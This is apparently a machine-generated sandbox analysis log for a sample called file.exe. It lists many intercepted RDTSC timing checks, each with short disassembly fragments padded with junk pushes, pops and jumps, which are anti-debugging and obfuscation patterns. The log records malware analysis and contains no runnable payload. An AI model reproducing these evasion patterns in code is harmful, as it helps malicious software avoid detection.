Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D801C1 second address: 4D801FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, F6h 0x00000005 mov eax, 1F29A207h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push dword ptr [ebp+0Ch] 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007F45A84F3306h 0x00000019 and esi, 3C69F4E8h 0x0000001f jmp 00007F45A84F32FBh 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D801FD second address: 4D8022A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushfd 0x00000008 jmp 00007F45A8838C82h 0x0000000d sbb si, 0748h 0x00000012 jmp 00007F45A8838C7Bh 0x00000017 popfd 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80253 second address: 4D80270 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F3309h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B70 second address: 4DA0BDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F45A8838C7Fh 0x00000009 or ah, 0000002Eh 0x0000000c jmp 00007F45A8838C89h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F45A8838C80h 0x00000018 sbb ecx, 543383A8h 0x0000001e jmp 00007F45A8838C7Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 xchg eax, ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F45A8838C85h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0BDE second address: 4DA0C17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 mov di, cx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F45A84F3305h 0x00000012 xchg eax, ebp 0x00000013 jmp 00007F45A84F32FEh 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0C17 second address: 4DA0C1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0671 second address: 4DA0695 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F3301h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F45A84F32FCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0695 second address: 4DA06A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F45A8838C7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA06A7 second address: 4DA06FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F32FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007F45A84F32FBh 0x00000014 pop ecx 0x00000015 pushfd 0x00000016 jmp 00007F45A84F3309h 0x0000001b and ax, 8A76h 0x00000020 jmp 00007F45A84F3301h 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA06FA second address: 4DA070A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F45A8838C7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA070A second address: 4DA071A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA071A second address: 4DA071E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA071E second address: 4DA0724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0724 second address: 4DA072C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA072C second address: 4DA074B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F45A84F3305h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA074B second address: 4DA0750 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA05AF second address: 4DA05BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA05BC second address: 4DA05CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA05CA second address: 4DA05DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F45A84F32FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA05DC second address: 4DA05E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA05E0 second address: 4DA05F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f mov edx, ecx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA02C3 second address: 4DA0308 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F45A8838C80h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F45A8838C87h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0308 second address: 4DA0378 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F45A84F32FFh 0x00000009 and ax, 249Eh 0x0000000e jmp 00007F45A84F3309h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F45A84F3300h 0x0000001a or ecx, 05BF6698h 0x00000020 jmp 00007F45A84F32FBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 pop ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F45A84F3305h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0260 second address: 4DB02C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F45A8838C81h 0x00000009 or ecx, 78ED6C16h 0x0000000f jmp 00007F45A8838C81h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F45A8838C80h 0x0000001b or si, 5038h 0x00000020 jmp 00007F45A8838C7Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 xchg eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F45A8838C80h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB02C7 second address: 4DB02D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F32FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB02D6 second address: 4DB031B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 pushfd 0x00000006 jmp 00007F45A8838C7Bh 0x0000000b adc ecx, 5BE8A35Eh 0x00000011 jmp 00007F45A8838C89h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F45A8838C7Dh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB031B second address: 4DB032E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 mov dx, 3D6Eh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB032E second address: 4DB033C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB033C second address: 4DB0343 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, 59h 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0F31 second address: 4DE0F37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0F37 second address: 4DE0F60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F32FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F45A84F32FEh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0F60 second address: 4DE0F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0F64 second address: 4DE0F80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F3308h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0315 second address: 4DC0324 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0324 second address: 4DC032A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC032A second address: 4DC032E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC032E second address: 4DC0424 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F32FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d movzx eax, dx 0x00000010 push edi 0x00000011 jmp 00007F45A84F32FCh 0x00000016 pop eax 0x00000017 popad 0x00000018 push eax 0x00000019 jmp 00007F45A84F3300h 0x0000001e xchg eax, ebp 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F45A84F32FEh 0x00000026 or cx, 7588h 0x0000002b jmp 00007F45A84F32FBh 0x00000030 popfd 0x00000031 pushfd 0x00000032 jmp 00007F45A84F3308h 0x00000037 sub ax, 57E8h 0x0000003c jmp 00007F45A84F32FBh 0x00000041 popfd 0x00000042 popad 0x00000043 mov ebp, esp 0x00000045 pushad 0x00000046 jmp 00007F45A84F3304h 0x0000004b pushfd 0x0000004c jmp 00007F45A84F3302h 0x00000051 and eax, 6E417578h 0x00000057 jmp 00007F45A84F32FBh 0x0000005c popfd 0x0000005d popad 0x0000005e mov eax, dword ptr [ebp+08h] 0x00000061 jmp 00007F45A84F3306h 0x00000066 and dword ptr [eax], 00000000h 0x00000069 jmp 00007F45A84F3300h 0x0000006e and dword ptr [eax+04h], 00000000h 0x00000072 push eax 0x00000073 push edx 0x00000074 push eax 0x00000075 push edx 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0424 second address: 4DC0428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0428 second address: 4DC0445 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F3309h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0445 second address: 4DC044B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA043A second address: 4DA0492 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F45A84F3301h 0x00000009 and cx, 8DC6h 0x0000000e jmp 00007F45A84F3301h 0x00000013 popfd 0x00000014 call 00007F45A84F3300h 0x00000019 pop esi 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push ebp 0x0000001e jmp 00007F45A84F32FEh 0x00000023 mov dword ptr [esp], ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0492 second address: 4DA04AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA04AF second address: 4DA04B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA04B5 second address: 4DA04B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA04B9 second address: 4DA0537 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F3303h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F45A84F3306h 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F45A84F32FDh 0x0000001c adc cx, D9F6h 0x00000021 jmp 00007F45A84F3301h 0x00000026 popfd 0x00000027 pushfd 0x00000028 jmp 00007F45A84F3300h 0x0000002d add eax, 75B4C318h 0x00000033 jmp 00007F45A84F32FBh 0x00000038 popfd 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0E8F second address: 4DB0EA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F45A8838C84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0EA7 second address: 4DB0ED9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F32FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e jmp 00007F45A84F3306h 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0ED9 second address: 4DB0EDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0EDF second address: 4DB0EE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0EE5 second address: 4DB0EE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0176 second address: 4DC017C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC017C second address: 4DC0180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE07D7 second address: 4DE07FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F32FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F45A84F3305h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE07FE second address: 4DE0804 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0804 second address: 4DE0808 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0808 second address: 4DE0830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F45A8838C86h 0x0000000e xchg eax, ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov cx, dx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0830 second address: 4DE0835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0835 second address: 4DE083B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE083B second address: 4DE083F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE083F second address: 4DE08C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [76FB65FCh] 0x0000000d jmp 00007F45A8838C7Ah 0x00000012 test eax, eax 0x00000014 pushad 0x00000015 mov eax, 1CA0191Dh 0x0000001a call 00007F45A8838C7Ah 0x0000001f push eax 0x00000020 pop ebx 0x00000021 pop esi 0x00000022 popad 0x00000023 je 00007F461A98BD70h 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F45A8838C83h 0x00000030 add al, 0000003Eh 0x00000033 jmp 00007F45A8838C89h 0x00000038 popfd 0x00000039 mov bx, si 0x0000003c popad 0x0000003d mov ecx, eax 0x0000003f jmp 00007F45A8838C7Ah 0x00000044 xor eax, dword ptr [ebp+08h] 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F45A8838C7Ch 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE08C5 second address: 4DE090B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F32FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 1Fh 0x0000000c jmp 00007F45A84F3306h 0x00000011 ror eax, cl 0x00000013 jmp 00007F45A84F3300h 0x00000018 leave 0x00000019 pushad 0x0000001a mov ecx, 402B470Dh 0x0000001f push eax 0x00000020 push edx 0x00000021 movzx ecx, bx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE090B second address: 4DE0957 instructions: 0x00000000 rdtsc 0x00000002 call 00007F45A8838C85h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b retn 0004h 0x0000000e nop 0x0000000f mov esi, eax 0x00000011 lea eax, dword ptr [ebp-08h] 0x00000014 xor esi, dword ptr [00472014h] 0x0000001a push eax 0x0000001b push eax 0x0000001c push eax 0x0000001d lea eax, dword ptr [ebp-10h] 0x00000020 push eax 0x00000021 call 00007F45AD1E94DFh 0x00000026 push FFFFFFFEh 0x00000028 jmp 00007F45A8838C87h 0x0000002d pop eax 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F45A8838C80h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0957 second address: 4DE0966 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F32FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0966 second address: 4DE0978 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 368Ah 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ret 0x0000000b nop 0x0000000c push eax 0x0000000d call 00007F45AD1E9520h 0x00000012 mov edi, edi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0978 second address: 4DE09AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F45A84F32FFh 0x0000000a adc ch, FFFFFFDEh 0x0000000d jmp 00007F45A84F3309h 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE09AA second address: 4DE09B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE09B0 second address: 4DE09B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90019 second address: 4D9002B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov eax, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9002B second address: 4D90030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90030 second address: 4D900F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F45A8838C88h 0x00000009 add eax, 381CF668h 0x0000000f jmp 00007F45A8838C7Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F45A8838C88h 0x0000001b jmp 00007F45A8838C85h 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 mov dword ptr [esp], ebp 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F45A8838C7Ch 0x0000002e xor ecx, 22634B28h 0x00000034 jmp 00007F45A8838C7Bh 0x00000039 popfd 0x0000003a mov si, D81Fh 0x0000003e popad 0x0000003f mov ebp, esp 0x00000041 jmp 00007F45A8838C82h 0x00000046 and esp, FFFFFFF8h 0x00000049 jmp 00007F45A8838C80h 0x0000004e xchg eax, ecx 0x0000004f jmp 00007F45A8838C80h 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 mov ebx, ecx 0x0000005a mov ch, 3Bh 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D900F9 second address: 4D900FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D900FF second address: 4D90103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90103 second address: 4D9012D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F32FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c pushad 0x0000000d mov ax, 921Dh 0x00000011 movzx esi, di 0x00000014 popad 0x00000015 push ebx 0x00000016 pushad 0x00000017 mov bl, al 0x00000019 popad 0x0000001a mov dword ptr [esp], ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9012D second address: 4D90131 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90131 second address: 4D90135 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90135 second address: 4D9013B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9013B second address: 4D90168 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F45A84F3305h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, dword ptr [ebp+10h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F45A84F32FDh 0x00000015 rdtsc
